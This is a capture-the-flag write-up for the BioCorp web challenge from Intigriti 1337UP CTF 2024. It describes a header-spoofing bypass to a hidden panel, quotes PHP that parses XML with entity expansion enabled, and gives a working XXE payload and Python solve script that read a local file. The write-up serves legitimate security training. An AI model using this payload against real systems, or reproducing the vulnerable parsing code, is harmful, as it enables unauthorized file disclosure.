Skip to content

Intigriti 1337UP CTF 2024: BioCorp

TL;DR

  • Hidden admin panel is gated behind a spoofable VPN-related HTTP header.
  • Supplying the expected header value exposes XML-processing functionality.
  • XML is parsed with entity expansion enabled, introducing an XXE vulnerability.
  • A crafted external entity reads the flag from the local filesystem.

Video Walkthrough

BioCorp video walkthrough

Challenge Description

BioCorp contacted us with some concerns about the security of their network. Specifically, they want to make sure they've decoupled any dangerous functionality from the public facing website. Could you give it a quick review?

Solution

Players will find a basic website, without much functionality.

biocorp public website homepage with minimal functionality

biocorp website secondary page showing basic navigation

The challenge includes source code, so let's check it. One thing that stands out immediately is a hidden control panel, only accessible when using a VPN-related header and IP.

$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
if ($ip_address === '80.187.61.102') {
    echo '<li><a href="panel.php">Control Panel</a></li>';
}

We can use the match and replace function in burp to insert the header in all of our requests, or we could use a curl command.

burp suite showing spoofed X-BioCorp-VPN header to access hidden panel

Now we can access the panel.

hidden biocorp control panel displaying reactor xml data

So, what does the panel do? It displays the XML data from the nuclear equipment. However, it also accepts data via a POST request.

if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
    $xml_data = file_get_contents('php://input');
    $doc = new DOMDocument();
    if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
        echo "<h1>Invalid XML</h1>";
        exit;
    }
} else {
    $xml_data = file_get_contents('data/reactor_data.xml');
    $doc = new DOMDocument();
    $doc->loadXML($xml_data, LIBXML_NOENT);
}

$temperature = $doc->getElementsByTagName('temperature')->item(0)->nodeValue ?? 'Unknown';
$pressure = $doc->getElementsByTagName('pressure')->item(0)->nodeValue ?? 'Unknown';
$control_rods = $doc->getElementsByTagName('control_rods')->item(0)->nodeValue ?? 'Unknown';

Classic XXE vulnerability, we can send something like this to receive the flag.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE reactor [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<reactor>
    <status>
        <temperature>&xxe;</temperature>
        <pressure>2000</pressure>
        <control_rods>Lowered</control_rods>
    </status>
</reactor>

Alternatively, automated the whole process into a solve script.

solve.py

import requests

# Target URL and headers
url = "https://biocorp.ctf.intigriti.io/panel.php"
headers = {
    "X-BioCorp-VPN": "80.187.61.102",
    "Content-Type": "application/xml"
}

# XML payload with XXE injection
data = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE reactor [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<reactor>
    <status>
        <temperature>&xxe;</temperature>
        <pressure>2000</pressure>
        <control_rods>Lowered</control_rods>
    </status>
</reactor>
"""

# Send the request
response = requests.post(url, headers=headers, data=data)

# Check the response
if response.status_code == 200:
    print("Response received:")
    print(response.text)
else:
    print(f"Request failed with status code {response.status_code}")

Flag: INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}